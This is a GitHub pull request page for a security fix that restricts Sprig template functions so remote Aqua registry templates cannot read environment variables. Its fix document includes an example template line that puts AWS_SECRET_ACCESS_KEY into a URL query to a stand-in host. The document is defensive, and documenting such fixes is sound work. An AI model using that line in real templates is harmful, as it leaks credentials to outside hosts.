-
-
Notifications
You must be signed in to change notification settings - Fork 153
fix(security): replace sprig.FuncMap/TxtFuncMap with HermeticTxtFuncMap to prevent env exfiltration (CWE-526) #2278
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Draft
Copilot
wants to merge
9
commits into
main
Choose a base branch
from
copilot/fix-env-exposure-vulnerability
base: main
Could not load branches
Branch not found: {{ refName }}
Loading
Could not load tags
Nothing to show
Loading
Are you sure you want to change the base?
Some commits from the old base branch may be removed from the timeline,
and old review comments may become outdated.
Draft
Changes from all commits
Commits
Show all changes
9 commits
Select commit
Hold shift + click to select a range
011b686
fix: replace sprig.FuncMap with sprig.HermeticTxtFuncMap to prevent e…
Copilot 634077c
docs: add fix document for sprig env/expandenv exfiltration vulnerabi…
Copilot 8f18076
fix(security): use HermeticTxtFuncMap in asset.go and aqua.go; add en…
Copilot 65f6ce8
[autofix.ci] apply automated fixes
autofix-ci[bot] 29a261b
fix: restore env/expandenv in stack templates; keep blocked in Aqua a…
Copilot 4feb0ec
fix: remove duplicate content from fix doc; fix env test comment
Copilot 6caf52f
Merge branch 'main' into copilot/fix-env-exposure-vulnerability
nitrocode f18ba99
[autofix.ci] apply automated fixes
autofix-ci[bot] 52b9954
fix: replace dead man.openbsd.org/sysexits link with freebsd.org equi…
Copilot File filter
Filter by extension
Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
There are no files selected for viewing
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,95 @@ | ||
| # Sprig `env`/`expandenv` Exfiltration via Untrusted Templates | ||
|
|
||
| **Date:** 2026-04-01 | ||
| **Severity:** Medium — CWE-526 (Cleartext Storage of Sensitive Information in Environment Variables) | ||
| **Scope:** Asset URL templates (Aqua registry, installer) — NOT stack templates (intentional feature) | ||
|
|
||
| **Files fixed:** | ||
| - `pkg/toolchain/installer/asset.go` (asset URL template rendering — was `TxtFuncMap` with no env cleanup) | ||
| - `pkg/toolchain/registry/aqua/aqua.go` (Aqua registry asset templates — was `TxtFuncMap` + manual `delete()`) | ||
|
|
||
| **Files updated (security improvement, backward-compatible):** | ||
| - `internal/exec/template_utils.go` — Sprig base switched to `HermeticTxtFuncMap`; `env`/`expandenv` re-added explicitly | ||
| - `pkg/locals/resolver.go` — Sprig base switched to `HermeticTxtFuncMap`; `env`/`expandenv` re-added explicitly | ||
|
|
||
| --- | ||
|
|
||
| ## Symptom | ||
|
|
||
| An Aqua registry YAML file or asset URL template containing: | ||
|
|
||
| ```yaml | ||
| source: 'https://example.com/download?token={{ env "AWS_SECRET_ACCESS_KEY" }}' | ||
| ``` | ||
|
|
||
| would have been rendered successfully, allowing a remote/community registry template to read | ||
| arbitrary process environment variables (credentials, tokens) at install time. | ||
|
|
||
| --- | ||
|
|
||
| ## Root Cause | ||
|
|
||
| Multiple template rendering paths used `sprig.TxtFuncMap()` (or `sprig.FuncMap()`), which | ||
| includes `env`, `expandenv`, and `getHostByName`. | ||
|
|
||
| Sprig ships a hermetic variant specifically for untrusted-template contexts: | ||
|
|
||
| | Function | Exposes `env`/`expandenv` | | ||
| |----------|--------------------------| | ||
| | `sprig.FuncMap()` | **Yes** | | ||
| | `sprig.TxtFuncMap()` | **Yes** | | ||
| | `sprig.HermeticTxtFuncMap()` | **No** — intentionally omitted | | ||
|
|
||
| ### Aqua registry templates (untrusted — now fixed) | ||
|
|
||
| `pkg/toolchain/installer/asset.go` and `pkg/toolchain/registry/aqua/aqua.go` render asset | ||
| URL templates from remote Aqua registries. These templates are partially untrusted and should | ||
| not be able to read arbitrary env vars. The `aqua.go` code attempted to mitigate this via | ||
| manual `delete(funcs, "env")` but this pattern is fragile. Both files now use | ||
| `sprig.HermeticTxtFuncMap()` directly. | ||
|
|
||
| ### Stack templates (trusted — env is an intentional feature) | ||
|
|
||
| `internal/exec/template_utils.go` and `pkg/locals/resolver.go` render Atmos stack manifests. | ||
| `{{ env "KEY" }}` is a **documented, intentional feature** of Atmos stack templates, used e.g. | ||
| to inject git tokens in `vendor.yaml` source URLs or to embed the current user in stack vars. | ||
|
|
||
| The Sprig base is now `HermeticTxtFuncMap()` (removing other OS/network side-effects like | ||
| `getHostByName`) but `env` and `expandenv` are **explicitly re-added** as a deliberate design | ||
| decision, not inherited from the full Sprig map. | ||
|
|
||
| --- | ||
|
|
||
| ## Fix | ||
|
|
||
| ### Aqua registry / installer templates (untrusted — full env removal) | ||
|
|
||
| ```go | ||
| // pkg/toolchain/installer/asset.go — after | ||
| funcs := sprig.HermeticTxtFuncMap() // env/expandenv omitted | ||
|
|
||
| // pkg/toolchain/registry/aqua/aqua.go — after (manual deletes replaced) | ||
| funcs := sprig.HermeticTxtFuncMap() // env/expandenv/getHostByName omitted | ||
| ``` | ||
|
|
||
| ### Stack templates (trusted — explicit re-provision) | ||
|
|
||
| ```go | ||
| // internal/exec/template_utils.go — getSprigFuncMap uses HermeticTxtFuncMap | ||
| // getEnvFuncMap explicitly provides env/expandenv for stack templates | ||
| func getEnvFuncMap() template.FuncMap { | ||
| return template.FuncMap{ | ||
| "env": os.Getenv, | ||
| "expandenv": os.ExpandEnv, | ||
| } | ||
| } | ||
| // Assembled: gomplate + hermetic sprig + explicit env + atmos funcmap | ||
| funcs := lo.Assign(gomplate.CreateFuncs(ctx, &d), getSprigFuncMap(), getEnvFuncMap(), FuncMap(...)) | ||
| ``` | ||
|
|
||
| --- | ||
|
|
||
| ## Related | ||
|
|
||
| - Sprig docs: <https://masterminds.github.io/sprig/> — "Hermetic" section | ||
| - CWE-526: <https://cwe.mitre.org/data/definitions/526.html> | ||
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Oops, something went wrong.
Add this suggestion to a batch that can be applied as a single commit.
This suggestion is invalid because no changes were made to the code.
Suggestions cannot be applied while the pull request is closed.
Suggestions cannot be applied while viewing a subset of changes.
Only one suggestion per line can be applied in a batch.
Add this suggestion to a batch that can be applied as a single commit.
Applying suggestions on deleted lines is not supported.
You must change the existing code in this line in order to create a valid suggestion.
Outdated suggestions cannot be applied.
This suggestion has been applied or marked resolved.
Suggestions cannot be applied from pending reviews.
Suggestions cannot be applied on multi-line comments.
Suggestions cannot be applied while the pull request is queued to merge.
Suggestion cannot be applied right now. Please check back later.
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Avoid recommending tokens in URLs.
This wording normalizes embedding git tokens in URL strings, which can leak via logs, shell history, proxies, and telemetry. Please rephrase to recommend non-URL credential channels (headers/credential helpers) and keep
envexamples generic.✏️ Suggested doc wording
📝 Committable suggestion
🧰 Tools
🪛 LanguageTool
[style] ~54-~54: A comma is missing here.
Context: ...eature** of Atmos stack templates, used e.g. to inject git tokens in
vendor.yamls...(EG_NO_COMMA)
🤖 Prompt for AI Agents